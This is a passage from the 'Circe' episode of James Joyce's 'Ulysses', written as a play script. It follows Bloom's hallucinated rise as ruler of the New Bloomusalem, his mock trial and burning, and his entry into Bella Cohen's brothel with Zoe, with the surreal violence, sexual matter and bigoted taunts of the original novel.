George, be thou anointed! + +(BLOOM ASSUMES A MANTLE OF CLOTH OF GOLD AND PUTS ON A RUBY RING. HE +ASCENDS AND STANDS ON THE STONE OF DESTINY. THE REPRESENTATIVE PEERS PUT +ON AT THE SAME TIME THEIR TWENTYEIGHT CROWNS. JOYBELLS RING IN CHRIST +CHURCH, SAINT PATRICK'S, GEORGE'S AND GAY MALAHIDE. MIRUS BAZAAR +FIREWORKS GO UP FROM ALL SIDES WITH SYMBOLICAL PHALLOPYROTECHNIC DESIGNS. +THE PEERS DO HOMAGE, ONE BY ONE, APPROACHING AND GENUFLECTING.) + +THE PEERS: I do become your liege man of life and limb to earthly +worship. + +(BLOOM HOLDS UP HIS RIGHT HAND ON WHICH SPARKLES THE KOH-I-NOOR DIAMOND. +HIS PALFREY NEIGHS. IMMEDIATE SILENCE. WIRELESS INTERCONTINENTAL AND +INTERPLANETARY TRANSMITTERS ARE SET FOR RECEPTION OF MESSAGE.) + +BLOOM: My subjects! We hereby nominate our faithful charger Copula Felix +hereditary Grand Vizier and announce that we have this day repudiated our +former spouse and have bestowed our royal hand upon the princess Selene, +the splendour of night. + +(THE FORMER MORGANATIC SPOUSE OF BLOOM IS HASTILY REMOVED IN THE BLACK +MARIA. THE PRINCESS SELENE, IN MOONBLUE ROBES, A SILVER CRESCENT ON HER +HEAD, DESCENDS FROM A SEDAN CHAIR, BORNE BY TWO GIANTS. AN OUTBURST OF +CHEERING.) + +JOHN HOWARD PARNELL: (RAISES THE ROYAL STANDARD) Illustrious Bloom! +Successor to my famous brother! + +BLOOM: (EMBRACES JOHN HOWARD PARNELL) We thank you from our heart, John, +for this right royal welcome to green Erin, the promised land of our +common ancestors. + +(THE FREEDOM OF THE CITY IS PRESENTED TO HIM EMBODIED IN A CHARTER. THE +KEYS OF DUBLIN, CROSSED ON A CRIMSON CUSHION, ARE GIVEN TO HIM. HE SHOWS +ALL THAT HE IS WEARING GREEN SOCKS.) + +TOM KERNAN: You deserve it, your honour. + +BLOOM: On this day twenty years ago we overcame the hereditary enemy at +Ladysmith. Our howitzers and camel swivel guns played on his lines with +telling effect. Half a league onward! They charge! All is lost now! Do we +yield? No! We drive them headlong! Lo! We charge! Deploying to the left +our light horse swept across the heights of Plevna and, uttering their +warcry BONAFIDE SABAOTH, sabred the Saracen gunners to a man. + +THE CHAPEL OF FREEMAN TYPESETTERS: Hear! Hear! + +JOHN WYSE NOLAN: There's the man that got away James Stephens. + +A BLUECOAT SCHOOLBOY: Bravo! + +AN OLD RESIDENT: You're a credit to your country, sir, that's what you +are. + +AN APPLEWOMAN: He's a man like Ireland wants. + +BLOOM: My beloved subjects, a new era is about to dawn. I, Bloom, tell +you verily it is even now at hand. Yea, on the word of a Bloom, ye shall +ere long enter into the golden city which is to be, the new Bloomusalem +in the Nova Hibernia of the future. + +(THIRTYTWO WORKMEN, WEARING ROSETTES, FROM ALL THE COUNTIES OF IRELAND, +UNDER THE GUIDANCE OF DERWAN THE BUILDER, CONSTRUCT THE NEW BLOOMUSALEM. +IT IS A COLOSSAL EDIFICE WITH CRYSTAL ROOF, BUILT IN THE SHAPE OF A HUGE +PORK KIDNEY, CONTAINING FORTY THOUSAND ROOMS. IN THE COURSE OF ITS +EXTENSION SEVERAL BUILDINGS AND MONUMENTS ARE DEMOLISHED. GOVERNMENT +OFFICES ARE TEMPORARILY TRANSFERRED TO RAILWAY SHEDS. NUMEROUS HOUSES ARE +RAZED TO THE GROUND. THE INHABITANTS ARE LODGED IN BARRELS AND BOXES, ALL +MARKED IN RED WITH THE LETTERS: L. B. SEVERAL PAUPERS FILL FROM A LADDER. +A PART OF THE WALLS OF DUBLIN, CROWDED WITH LOYAL SIGHTSEERS, COLLAPSES.) + +THE SIGHTSEERS: (DYING) MORITURI TE SALUTANT. (THEY DIE) + +(A MAN IN A BROWN MACINTOSH SPRINGS UP THROUGH A TRAPDOOR. HE POINTS AN +ELONGATED FINGER AT BLOOM.) + +THE MAN IN THE MACINTOSH: Don't you believe a word he says. That man is +Leopold M'Intosh, the notorious fireraiser. His real name is Higgins. + +BLOOM: Shoot him! Dog of a christian! So much for M'Intosh! + +(A CANNONSHOT. THE MAN IN THE MACINTOSH DISAPPEARS. BLOOM WITH HIS +SCEPTRE STRIKES DOWN POPPIES. THE INSTANTANEOUS DEATHS OF MANY POWERFUL +ENEMIES, GRAZIERS, MEMBERS OF PARLIAMENT, MEMBERS OF STANDING COMMITTEES, +ARE REPORTED. BLOOM'S BODYGUARD DISTRIBUTE MAUNDY MONEY, COMMEMORATION +MEDALS, LOAVES AND FISHES, TEMPERANCE BADGES, EXPENSIVE HENRY CLAY +CIGARS, FREE COWBONES FOR SOUP, RUBBER PRESERVATIVES IN SEALED ENVELOPES +TIED WITH GOLD THREAD, BUTTER SCOTCH, PINEAPPLE ROCK, billets doux IN THE +FORM OF COCKED HATS, READYMADE SUITS, PORRINGERS OF TOAD IN THE HOLE, +BOTTLES OF JEYES' FLUID, PURCHASE STAMPS, 40 DAYS' INDULGENCES, SPURIOUS +COINS, DAIRYFED PORK SAUSAGES, THEATRE PASSES, SEASON TICKETS AVAILABLE +FOR ALL TRAMLINES, COUPONS OF THE ROYAL AND PRIVILEGED HUNGARIAN LOTTERY, +PENNY DINNER COUNTERS, CHEAP REPRINTS OF THE WORLD'S TWELVE WORST BOOKS: +FROGGY AND FRITZ (POLITIC), CARE OF THE BABY (INFANTILIC), 50 MEALS FOR +7/6 (CULINIC), WAS JESUS A SUN MYTH? (HISTORIC), EXPEL THAT PAIN (MEDIC), +INFANT'S COMPENDIUM OF THE UNIVERSE (COSMIC), LET'S ALL CHORTLE +(HILARIC), CANVASSER'S VADE MECUM (JOURNALIC), LOVELETTERS OF MOTHER +ASSISTANT (EROTIC), WHO'S WHO IN SPACE (ASTRIC), SONGS THAT REACHED OUR +HEART (MELODIC), PENNYWISE'S WAY TO WEALTH (PARSIMONIC). A GENERAL RUSH +AND SCRAMBLE. WOMEN PRESS FORWARD TO TOUCH THE HEM OF BLOOM'S ROBE. THE +LADY GWENDOLEN DUBEDAT BURSTS THROUGH THE THRONG, LEAPS ON HIS HORSE AND +KISSES HIM ON BOTH CHEEKS AMID GREAT ACCLAMATION. A MAGNESIUM FLASHLIGHT +PHOTOGRAPH IS TAKEN. BABES AND SUCKLINGS ARE HELD UP.) + +THE WOMEN: Little father! Little father! + +THE BABES AND SUCKLINGS: + + + Clap clap hands till Poldy comes home, + Cakes in his pocket for Leo alone. + + +(BLOOM, BENDING DOWN, POKES BABY BOARDMAN GENTLY IN THE STOMACH.) + +BABY BOARDMAN: (HICCUPS, CURDLED MILK FLOWING FROM HIS MOUTH) Hajajaja. + +BLOOM: (SHAKING HANDS WITH A BLIND STRIPLING) My more than Brother! +(PLACING HIS ARMS ROUND THE SHOULDERS OF AN OLD COUPLE) Dear old friends! +(HE PLAYS PUSSY FOURCORNERS WITH RAGGED BOYS AND GIRLS) Peep! Bopeep! (HE +WHEELS TWINS IN A PERAMBULATOR) Ticktacktwo wouldyousetashoe? (HE +PERFORMS JUGGLER'S TRICKS, DRAWS RED, ORANGE, YELLOW, GREEN, BLUE, INDIGO +AND VIOLET SILK HANDKERCHIEFS FROM HIS MOUTH) Roygbiv. 32 feet per +second. (HE CONSOLES A WIDOW) Absence makes the heart grow younger. (HE +DANCES THE HIGHLAND FLING WITH GROTESQUE ANTICS) Leg it, ye devils! (HE +KISSES THE BEDSORES OF A PALSIED VETERAN) Honourable wounds! (HE TRIPS UP +A FIT POLICEMAN) U. p: up. U. p: up. (HE WHISPERS IN THE EAR OF A +BLUSHING WAITRESS AND LAUGHS KINDLY) Ah, naughty, naughty! (HE EATS A RAW +TURNIP OFFERED HIM BY MAURICE BUTTERLY, FARMER) Fine! Splendid! (HE +REFUSES TO ACCEPT THREE SHILLINGS OFFERED HIM BY JOSEPH HYNES, +JOURNALIST) My dear fellow, not at all! (HE GIVES HIS COAT TO A BEGGAR) +Please accept. (HE TAKES PART IN A STOMACH RACE WITH ELDERLY MALE AND +FEMALE CRIPPLES) Come on, boys! Wriggle it, girls! + +THE CITIZEN: (CHOKED WITH EMOTION, BRUSHES ASIDE A TEAR IN HIS EMERALD +MUFFLER) May the good God bless him! + +(THE RAMS' HORNS SOUND FOR SILENCE. THE STANDARD OF ZION IS HOISTED.) + +BLOOM: (UNCLOAKS IMPRESSIVELY, REVEALING OBESITY, UNROLLS A PAPER AND +READS SOLEMNLY) Aleph Beth Ghimel Daleth Hagadah Tephilim Kosher Yom +Kippur Hanukah Roschaschana Beni Brith Bar Mitzvah Mazzoth Askenazim +Meshuggah Talith. + +(AN OFFICIAL TRANSLATION IS READ BY JIMMY HENRY, ASSISTANT TOWN CLERK.) + +JIMMY HENRY: The Court of Conscience is now open. His Most Catholic +Majesty will now administer open air justice. Free medical and legal +advice, solution of doubles and other problems. All cordially invited. +Given at this our loyal city of Dublin in the year I of the Paradisiacal +Era. + +PADDY LEONARD: What am I to do about my rates and taxes? + +BLOOM: Pay them, my friend. + +PADDY LEONARD: Thank you. + +NOSEY FLYNN: Can I raise a mortgage on my fire insurance? + +BLOOM: (OBDURATELY) Sirs, take notice that by the law of torts you are +bound over in your own recognisances for six months in the sum of five +pounds. + +J. J. O'MOLLOY: A Daniel did I say? Nay! A Peter O'Brien! + +NOSEY FLYNN: Where do I draw the five pounds? + +PISSER BURKE: For bladder trouble? + +BLOOM: + + + ACID. NIT. HYDROCHLOR. DIL., 20 minims + TINCT. NUX VOM., 5 minims + EXTR. TARAXEL. IIQ., 30 minims. + AQ. DIS. TER IN DIE. + + +CHRIS CALLINAN: What is the parallax of the subsolar ecliptic of +Aldebaran? + +BLOOM: Pleased to hear from you, Chris. K. II. + +JOE HYNES: Why aren't you in uniform? + +BLOOM: When my progenitor of sainted memory wore the uniform of the +Austrian despot in a dank prison where was yours? + +BEN DOLLARD: Pansies? + +BLOOM: Embellish (beautify) suburban gardens. + +BEN DOLLARD: When twins arrive? + +BLOOM: Father (pater, dad) starts thinking. + +LARRY O'ROURKE: An eightday licence for my new premises. You remember me, +sir Leo, when you were in number seven. I'm sending around a dozen of +stout for the missus. + +BLOOM: (COLDLY) You have the advantage of me. Lady Bloom accepts no +presents. + +CROFTON: This is indeed a festivity. + +BLOOM: (SOLEMNLY) You call it a festivity. I call it a sacrament. + +ALEXANDER KEYES: When will we have our own house of keys? + +BLOOM: I stand for the reform of municipal morals and the plain ten +commandments. New worlds for old. Union of all, jew, moslem and gentile. +Three acres and a cow for all children of nature. Saloon motor hearses. +Compulsory manual labour for all. All parks open to the public day and +night. Electric dishscrubbers. Tuberculosis, lunacy, war and mendicancy +must now cease. General amnesty, weekly carnival with masked licence, +bonuses for all, esperanto the universal language with universal +brotherhood. No more patriotism of barspongers and dropsical impostors. +Free money, free rent, free love and a free lay church in a free lay +state. + +O'MADDEN BURKE: Free fox in a free henroost. + +DAVY BYRNE: (YAWNING) Iiiiiiiiiaaaaaaach! + +BLOOM: Mixed races and mixed marriage. + +LENEHAN: What about mixed bathing? + +(BLOOM EXPLAINS TO THOSE NEAR HIM HIS SCHEMES FOR SOCIAL REGENERATION. +ALL AGREE WITH HIM. THE KEEPER OF THE KILDARE STREET MUSEUM APPEARS, +DRAGGING A LORRY ON WHICH ARE THE SHAKING STATUES OF SEVERAL NAKED +GODDESSES, VENUS CALLIPYGE, VENUS PANDEMOS, VENUS METEMPSYCHOSIS, AND +PLASTER FIGURES, ALSO NAKED, REPRESENTING THE NEW NINE MUSES, COMMERCE, +OPERATIC MUSIC, AMOR, PUBLICITY, MANUFACTURE, LIBERTY OF SPEECH, PLURAL +VOTING, GASTRONOMY, PRIVATE HYGIENE, SEASIDE CONCERT ENTERTAINMENTS, +PAINLESS OBSTETRICS AND ASTRONOMY FOR THE PEOPLE.) + +FATHER FARLEY: He is an episcopalian, an agnostic, an anythingarian +seeking to overthrow our holy faith. + +MRS RIORDAN: (TEARS UP HER WILL) I'm disappointed in you! You bad man! + +MOTHER GROGAN: (REMOVES HER BOOT TO THROW IT AT BLOOM) You beast! You +abominable person! + +NOSEY FLYNN: Give us a tune, Bloom. One of the old sweet songs. + +BLOOM: (WITH ROLLICKING HUMOUR) + + + I vowed that I never would leave her, + She turned out a cruel deceiver. + With my tooraloom tooraloom tooraloom tooraloom. + + +HOPPY HOLOHAN: Good old Bloom! There's nobody like him after all. + +PADDY LEONARD: Stage Irishman! + +BLOOM: What railway opera is like a tramline in Gibraltar? The Rows of +Casteele. (LAUGHTER.) + +LENEHAN: Plagiarist! Down with Bloom! + +THE VEILED SIBYL: (ENTHUSIASTICALLY) I'm a Bloomite and I glory in it. I +believe in him in spite of all. I'd give my life for him, the funniest +man on earth. + +BLOOM: (WINKS AT THE BYSTANDERS) I bet she's a bonny lassie. + +THEODORE PUREFOY: (IN FISHINGCAP AND OILSKIN JACKET) He employs a +mechanical device to frustrate the sacred ends of nature. + +THE VEILED SIBYL: (STABS HERSELF) My hero god! (SHE DIES) + +(MANY MOST ATTRACTIVE AND ENTHUSIASTIC WOMEN ALSO COMMIT SUICIDE BY +STABBING, DROWNING, DRINKING PRUSSIC ACID, ACONITE, ARSENIC, OPENING +THEIR VEINS, REFUSING FOOD, CASTING THEMSELVES UNDER STEAMROLLERS, FROM +THE TOP OF NELSON'S PILLAR, INTO THE GREAT VAT OF GUINNESS'S BREWERY, +ASPHYXIATING THEMSELVES BY PLACING THEIR HEADS IN GASOVENS, HANGING +THEMSELVES IN STYLISH GARTERS, LEAPING FROM WINDOWS OF DIFFERENT +STOREYS.) + +ALEXANDER J DOWIE: (VIOLENTLY) Fellowchristians and antiBloomites, the +man called Bloom is from the roots of hell, a disgrace to christian men. +A fiendish libertine from his earliest years this stinking goat of Mendes +gave precocious signs of infantile debauchery, recalling the cities of +the plain, with a dissolute granddam. This vile hypocrite, bronzed with +infamy, is the white bull mentioned in the Apocalypse. A worshipper of +the Scarlet Woman, intrigue is the very breath of his nostrils. The stake +faggots and the caldron of boiling oil are for him. Caliban! + +THE MOB: Lynch him! Roast him! He's as bad as Parnell was. Mr Fox! + +(MOTHER GROGAN THROWS HER BOOT AT BLOOM. SEVERAL SHOPKEEPERS FROM UPPER +AND LOWER DORSET STREET THROW OBJECTS OF LITTLE OR NO COMMERCIAL VALUE, +HAMBONES, CONDENSED MILK TINS, UNSALEABLE CABBAGE, STALE BREAD, SHEEP'S +TAILS, ODD PIECES OF FAT.) + +BLOOM: (EXCITEDLY) This is midsummer madness, some ghastly joke again. By +heaven, I am guiltless as the unsunned snow! It was my brother Henry. He +is my double. He lives in number 2 Dolphin's Barn. Slander, the viper, +has wrongfully accused me. Fellowcountrymen, SGENL INN BAN BATA COISDE +GAN CAPALL. I call on my old friend, Dr Malachi Mulligan, sex specialist, +to give medical testimony on my behalf. + +DR MULLIGAN: (IN MOTOR JERKIN, GREEN MOTORGOGGLES ON HIS BROW) Dr Bloom +is bisexually abnormal. He has recently escaped from Dr Eustace's private +asylum for demented gentlemen. Born out of bedlock hereditary epilepsy is +present, the consequence of unbridled lust. Traces of elephantiasis have +been discovered among his ascendants. There are marked symptoms of +chronic exhibitionism. Ambidexterity is also latent. He is prematurely +bald from selfabuse, perversely idealistic in consequence, a reformed +rake, and has metal teeth. In consequence of a family complex he has +temporarily lost his memory and I believe him to be more sinned against +than sinning. I have made a pervaginal examination and, after application +of the acid test to 5427 anal, axillary, pectoral and pubic hairs, I +declare him to be VIRGO INTACTA. + +(BLOOM HOLDS HIS HIGH GRADE HAT OVER HIS GENITAL ORGANS.) + +DR MADDEN: Hypsospadia is also marked. In the interest of coming +generations I suggest that the parts affected should be preserved in +spirits of wine in the national teratological museum. + +DR CROTTHERS: I have examined the patient's urine. It is albuminoid. +Salivation is insufficient, the patellar reflex intermittent. + +DR PUNCH COSTELLO: The FETOR JUDAICUS is most perceptible. + +DR DIXON: (READS A BILL OF HEALTH) Professor Bloom is a finished example +of the new womanly man. His moral nature is simple and lovable. Many have +found him a dear man, a dear person. He is a rather quaint fellow on the +whole, coy though not feebleminded in the medical sense. He has written a +really beautiful letter, a poem in itself, to the court missionary of the +Reformed Priests' Protection Society which clears up everything. He is +practically a total abstainer and I can affirm that he sleeps on a straw +litter and eats the most Spartan food, cold dried grocer's peas. He wears +a hairshirt of pure Irish manufacture winter and summer and scourges +himself every Saturday. He was, I understand, at one time a firstclass +misdemeanant in Glencree reformatory. Another report states that he was a +very posthumous child. I appeal for clemency in the name of the most +sacred word our vocal organs have ever been called upon to speak. He is +about to have a baby. + +(GENERAL COMMOTION AND COMPASSION. WOMEN FAINT. A WEALTHY AMERICAN MAKES +A STREET COLLECTION FOR BLOOM. GOLD AND SILVER COINS, BLANK CHEQUES, +BANKNOTES, JEWELS, TREASURY BONDS, MATURING BILLS OF EXCHANGE, I. O. U'S, +WEDDING RINGS, WATCHCHAINS, LOCKETS, NECKLACES AND BRACELETS ARE RAPIDLY +COLLECTED.) + +BLOOM: O, I so want to be a mother. + +MRS THORNTON: (IN NURSETENDER'S GOWN) Embrace me tight, dear. You'll be +soon over it. Tight, dear. + +(BLOOM EMBRACES HER TIGHTLY AND BEARS EIGHT MALE YELLOW AND WHITE +CHILDREN. THEY APPEAR ON A REDCARPETED STAIRCASE ADORNED WITH EXPENSIVE +PLANTS. ALL THE OCTUPLETS ARE HANDSOME, WITH VALUABLE METALLIC FACES, +WELLMADE, RESPECTABLY DRESSED AND WELLCONDUCTED, SPEAKING FIVE MODERN +LANGUAGES FLUENTLY AND INTERESTED IN VARIOUS ARTS AND SCIENCES. EACH HAS +HIS NAME PRINTED IN LEGIBLE LETTERS ON HIS SHIRTFRONT: NASODORO, +GOLDFINGER, CHRYSOSTOMOS, MAINDOREE, SILVERSMILE, SILBERSELBER, +VIFARGENT, PANARGYROS. THEY ARE IMMEDIATELY APPOINTED TO POSITIONS OF +HIGH PUBLIC TRUST IN SEVERAL DIFFERENT COUNTRIES AS MANAGING DIRECTORS OF +BANKS, TRAFFIC MANAGERS OF RAILWAYS, CHAIRMEN OF LIMITED LIABILITY +COMPANIES, VICECHAIRMEN OF HOTEL SYNDICATES.) + +A VOICE: Bloom, are you the Messiah ben Joseph or ben David? + +BLOOM: (DARKLY) You have said it. + +BROTHER BUZZ: Then perform a miracle like Father Charles. + +BANTAM LYONS: Prophesy who will win the Saint Leger. + +(BLOOM WALKS ON A NET, COVERS HIS LEFT EYE WITH HIS LEFT EAR, PASSES +THROUGH SEVERAL WALLS, CLIMBS NELSON'S PILLAR, HANGS FROM THE TOP LEDGE +BY HIS EYELIDS, EATS TWELVE DOZEN OYSTERS (SHELLS INCLUDED), HEALS +SEVERAL SUFFERERS FROM KING'S EVIL, CONTRACTS HIS FACE SO AS TO RESEMBLE +MANY HISTORICAL PERSONAGES, LORD BEACONSFIELD, LORD BYRON, WAT TYLER, +MOSES OF EGYPT, MOSES MAIMONIDES, MOSES MENDELSSOHN, HENRY IRVING, RIP +VAN WINKLE, KOSSUTH, JEAN JACQUES ROUSSEAU, BARON LEOPOLD ROTHSCHILD, +ROBINSON CRUSOE, SHERLOCK HOLMES, PASTEUR, TURNS EACH FOOT SIMULTANEOUSLY +IN DIFFERENT DIRECTIONS, BIDS THE TIDE TURN BACK, ECLIPSES THE SUN BY +EXTENDING HIS LITTLE FINGER.) + +BRINI, PAPAL NUNCIO: (IN PAPAL ZOUAVE'S UNIFORM, STEEL CUIRASSES AS +BREASTPLATE, ARMPLATES, THIGHPLATES, LEGPLATES, LARGE PROFANE MOUSTACHES +AND BROWN PAPER MITRE) LEOPOLDI AUTEM GENERATIO. Moses begat Noah and +Noah begat Eunuch and Eunuch begat O'Halloran and O'Halloran begat +Guggenheim and Guggenheim begat Agendath and Agendath begat Netaim and +Netaim begat Le Hirsch and Le Hirsch begat Jesurum and Jesurum begat +MacKay and MacKay begat Ostrolopsky and Ostrolopsky begat Smerdoz and +Smerdoz begat Weiss and Weiss begat Schwarz and Schwarz begat Adrianopoli +and Adrianopoli begat Aranjuez and Aranjuez begat Lewy Lawson and Lewy +Lawson begat Ichabudonosor and Ichabudonosor begat O'Donnell Magnus and +O'Donnell Magnus begat Christbaum and Christbaum begat ben Maimun and ben +Maimun begat Dusty Rhodes and Dusty Rhodes begat Benamor and Benamor +begat Jones-Smith and Jones-Smith begat Savorgnanovich and Savorgnanovich +begat Jasperstone and Jasperstone begat Vingtetunieme and Vingtetunieme +begat Szombathely and Szombathely begat Virag and Virag begat Bloom ET +VOCABITUR NOMEN EIUS EMMANUEL. + +A DEADHAND: (WRITES ON THE WALL) Bloom is a cod. + +CRAB: (IN BUSHRANGER'S KIT) What did you do in the cattlecreep behind +Kilbarrack? + +A FEMALE INFANT: (SHAKES A RATTLE) And under Ballybough bridge? + +A HOLLYBUSH: And in the devil's glen? + +BLOOM: (BLUSHES FURIOUSLY ALL OVER FROM FRONS TO NATES, THREE TEARS +FILLING FROM HIS LEFT EYE) Spare my past. + +THE IRISH EVICTED TENANTS: (IN BODYCOATS, KNEEBREECHES, WITH DONNYBROOK +FAIR SHILLELAGHS) Sjambok him! + +(BLOOM WITH ASSES' EARS SEATS HIMSELF IN THE PILLORY WITH CROSSED ARMS, +HIS FEET PROTRUDING. HE WHISTLES Don Giovanni, a cenar teco. ARTANE +ORPHANS, JOINING HANDS, CAPER ROUND HIM. GIRLS OF THE PRISON GATE +MISSION, JOINING HANDS, CAPER ROUND IN THE OPPOSITE DIRECTION.) + +THE ARTANE ORPHANS: + + + You hig, you hog, you dirty dog! + You think the ladies love you! + + +THE PRISON GATE GIRLS: + + + If you see Kay + Tell him he may + See you in tea + Tell him from me. + + +HORNBLOWER: (IN EPHOD AND HUNTINGCAP, ANNOUNCES) And he shall carry the +sins of the people to Azazel, the spirit which is in the wilderness, and +to Lilith, the nighthag. And they shall stone him and defile him, yea, +all from Agendath Netaim and from Mizraim, the land of Ham. + +(ALL THE PEOPLE CAST SOFT PANTOMIME STONES AT BLOOM. MANY BONAFIDE +TRAVELLERS AND OWNERLESS DOGS COME NEAR HIM AND DEFILE HIM. MASTIANSKY +AND CITRON APPROACH IN GABERDINES, WEARING LONG EARLOCKS. THEY WAG THEIR +BEARDS AT BLOOM.) + +MASTIANSKY AND CITRON: Belial! Laemlein of Istria, the false Messiah! +Abulafia! Recant! + +(GEORGE R MESIAS, BLOOM'S TAILOR, APPEARS, A TAILOR'S GOOSE UNDER HIS +ARM, PRESENTING A BILL) + +MESIAS: To alteration one pair trousers eleven shillings. + +BLOOM: (RUBS HIS HANDS CHEERFULLY) Just like old times. Poor Bloom! + +(REUBEN J DODD, BLACKBEARDED ISCARIOT, BAD SHEPHERD, BEARING ON HIS +SHOULDERS THE DROWNED CORPSE OF HIS SON, APPROACHES THE PILLORY.) + +REUBEN J: (WHISPERS HOARSELY) The squeak is out. A split is gone for the +flatties. Nip the first rattler. + +THE FIRE BRIGADE: Pflaap! + +BROTHER BUZZ: (INVESTS BLOOM IN A YELLOW HABIT WITH EMBROIDERY OF PAINTED +FLAMES AND HIGH POINTED HAT. HE PLACES A BAG OF GUNPOWDER ROUND HIS NECK +AND HANDS HIM OVER TO THE CIVIL POWER, SAYING) Forgive him his +trespasses. + +(LIEUTENANT MYERS OF THE DUBLIN FIRE BRIGADE BY GENERAL REQUEST SETS FIRE +TO BLOOM. LAMENTATIONS.) + +THE CITIZEN: Thank heaven! + +BLOOM: (IN A SEAMLESS GARMENT MARKED I. H. S. STANDS UPRIGHT AMID PHOENIX +FLAMES) Weep not for me, O daughters of Erin. + +(HE EXHIBITS TO DUBLIN REPORTERS TRACES OF BURNING. THE DAUGHTERS OF +ERIN, IN BLACK GARMENTS, WITH LARGE PRAYERBOOKS AND LONG LIGHTED CANDLES +IN THEIR HANDS, KNEEL DOWN AND PRAY.) + +THE DAUGHTERS OF ERIN: + + + Kidney of Bloom, pray for us + Flower of the Bath, pray for us + Mentor of Menton, pray for us + Canvasser for the Freeman, pray for us + Charitable Mason, pray for us + Wandering Soap, pray for us + Sweets of Sin, pray for us + Music without Words, pray for us + Reprover of the Citizen, pray for us + Friend of all Frillies, pray for us + Midwife Most Merciful, pray for us + Potato Preservative against Plague and Pestilence, pray for us. + + +(A CHOIR OF SIX HUNDRED VOICES, CONDUCTED BY VINCENT O'BRIEN, SINGS THE +CHORUS FROM HANDEL'S MESSIAH ALLELUIA FOR THE LORD GOD OMNIPOTENT +REIGNETH, ACCOMPANIED ON THE ORGAN BY JOSEPH GLYNN. BLOOM BECOMES MUTE, +SHRUNKEN, CARBONISED.) + +ZOE: Talk away till you're black in the face. + +BLOOM: (IN CAUBEEN WITH CLAY PIPE STUCK IN THE BAND, DUSTY BROGUES, AN +EMIGRANT'S RED HANDKERCHIEF BUNDLE IN HIS HAND, LEADING A BLACK BOGOAK +PIG BY A SUGAUN, WITH A SMILE IN HIS EYE) Let me be going now, woman of +the house, for by all the goats in Connemara I'm after having the father +and mother of a bating. (WITH A TEAR IN HIS EYE) All insanity. +Patriotism, sorrow for the dead, music, future of the race. To be or not +to be. Life's dream is o'er. End it peacefully. They can live on. (HE +GAZES FAR AWAY MOURNFULLY) I am ruined. A few pastilles of aconite. The +blinds drawn. A letter. Then lie back to rest. (HE BREATHES SOFTLY) No +more. I have lived. Fare. Farewell. + +ZOE: (STIFFLY, HER FINGER IN HER NECKFILLET) Honest? Till the next time. +(SHE SNEERS) Suppose you got up the wrong side of the bed or came too +quick with your best girl. O, I can read your thoughts! + +BLOOM: (BITTERLY) Man and woman, love, what is it? A cork and bottle. I'm +sick of it. Let everything rip. + +ZOE: (IN SUDDEN SULKS) I hate a rotter that's insincere. Give a bleeding +whore a chance. + +BLOOM: (REPENTANTLY) I am very disagreeable. You are a necessary evil. +Where are you from? London? + +ZOE: (GLIBLY) Hog's Norton where the pigs plays the organs. I'm Yorkshire +born. (SHE HOLDS HIS HAND WHICH IS FEELING FOR HER NIPPLE) I say, Tommy +Tittlemouse. Stop that and begin worse. Have you cash for a short time? +Ten shillings? + +BLOOM: (SMILES, NODS SLOWLY) More, houri, more. + +ZOE: And more's mother? (SHE PATS HIM OFFHANDEDLY WITH VELVET PAWS) Are +you coming into the musicroom to see our new pianola? Come and I'll peel +off. + +BLOOM: (FEELING HIS OCCIPUT DUBIOUSLY WITH THE UNPARALLELED EMBARRASSMENT +OF A HARASSED PEDLAR GAUGING THE SYMMETRY OF HER PEELED PEARS) Somebody +would be dreadfully jealous if she knew. The greeneyed monster. +(EARNESTLY) You know how difficult it is. I needn't tell you. + +ZOE: (FLATTERED) What the eye can't see the heart can't grieve for. (SHE +PATS HIM) Come. + +BLOOM: Laughing witch! The hand that rocks the cradle. + +ZOE: Babby! + +BLOOM: (IN BABYLINEN AND PELISSE, BIGHEADED, WITH A CAUL OF DARK HAIR, +FIXES BIG EYES ON HER FLUID SLIP AND COUNTS ITS BRONZE BUCKLES WITH A +CHUBBY FINGER, HIS MOIST TONGUE LOLLING AND LISPING) One two tlee: tlee +tlwo tlone. + +THE BUCKLES: Love me. Love me not. Love me. + +ZOE: Silent means consent. (WITH LITTLE PARTED TALONS SHE CAPTURES HIS +HAND, HER FOREFINGER GIVING TO HIS PALM THE PASSTOUCH OF SECRET MONITOR, +LURING HIM TO DOOM.) Hot hands cold gizzard. + +(HE HESITATES AMID SCENTS, MUSIC, TEMPTATIONS. SHE LEADS HIM TOWARDS THE +STEPS, DRAWING HIM BY THE ODOUR OF HER ARMPITS, THE VICE OF HER PAINTED +EYES, THE RUSTLE OF HER SLIP IN WHOSE SINUOUS FOLDS LURKS THE LION REEK +OF ALL THE MALE BRUTES THAT HAVE POSSESSED HER.) + +THE MALE BRUTES: (EXHALING SULPHUR OF RUT AND DUNG AND RAMPING IN THEIR +LOOSEBOX, FAINTLY ROARING, THEIR DRUGGED HEADS SWAYING TO AND FRO) Good! + +(ZOE AND BLOOM REACH THE DOORWAY WHERE TWO SISTER WHORES ARE SEATED. THEY +EXAMINE HIM CURIOUSLY FROM UNDER THEIR PENCILLED BROWS AND SMILE TO HIS +HASTY BOW. HE TRIPS AWKWARDLY.) + +ZOE: (HER LUCKY HAND INSTANTLY SAVING HIM) Hoopsa! Don't fall upstairs. + +BLOOM: The just man falls seven times. (HE STANDS ASIDE AT THE THRESHOLD) +After you is good manners. + +ZOE: Ladies first, gentlemen after. + +(SHE CROSSES THE THRESHOLD. HE HESITATES. SHE TURNS AND, HOLDING OUT HER +HANDS, DRAWS HIM OVER. HE HOPS. ON THE ANTLERED RACK OF THE HALL HANG A +MAN 'S HAT AND WATERPROOF. BLOOM UNCOVERS HIMSELF BUT, SEEING THEM, +FROWNS, THEN SMILES, PREOCCUPIED. A DOOR ON THE RETURN LANDING IS FLUNG +OPEN. A MAN IN PURPLE SHIRT AND GREY TROUSERS, BROWNSOCKED, PASSES WITH +AN APE'S GAIT, HIS BALD HEAD AND GOATEE BEARD UPHELD, HUGGING A FULL +WATERJUGJAR, HIS TWOTAILED BLACK BRACES DANGLING AT HEELS. AVERTING HIS +FACE QUICKLY BLOOM BENDS TO EXAMINE ON THE HALLTABLE THE SPANIEL EYES OF +A RUNNING FOX: THEN, HIS LIFTED HEAD SNIFFING, FOLLOWS ZOE INTO THE +MUSICROOM. A SHADE OF MAUVE TISSUEPAPER DIMS THE LIGHT OF THE CHANDELIER. +ROUND AND ROUND A MOTH FLIES, COLLIDING, ESCAPING. THE FLOOR IS COVERED +WITH AN OILCLOTH MOSAIC OF JADE AND AZURE AND CINNABAR RHOMBOIDS. +FOOTMARKS ARE STAMPED OVER IT IN ALL SENSES, HEEL TO HEEL, HEEL TO +HOLLOW, TOE TO TOE, FEET LOCKED, A MORRIS OF SHUFFLING FEET WITHOUT BODY +PHANTOMS, ALL IN A SCRIMMAGE 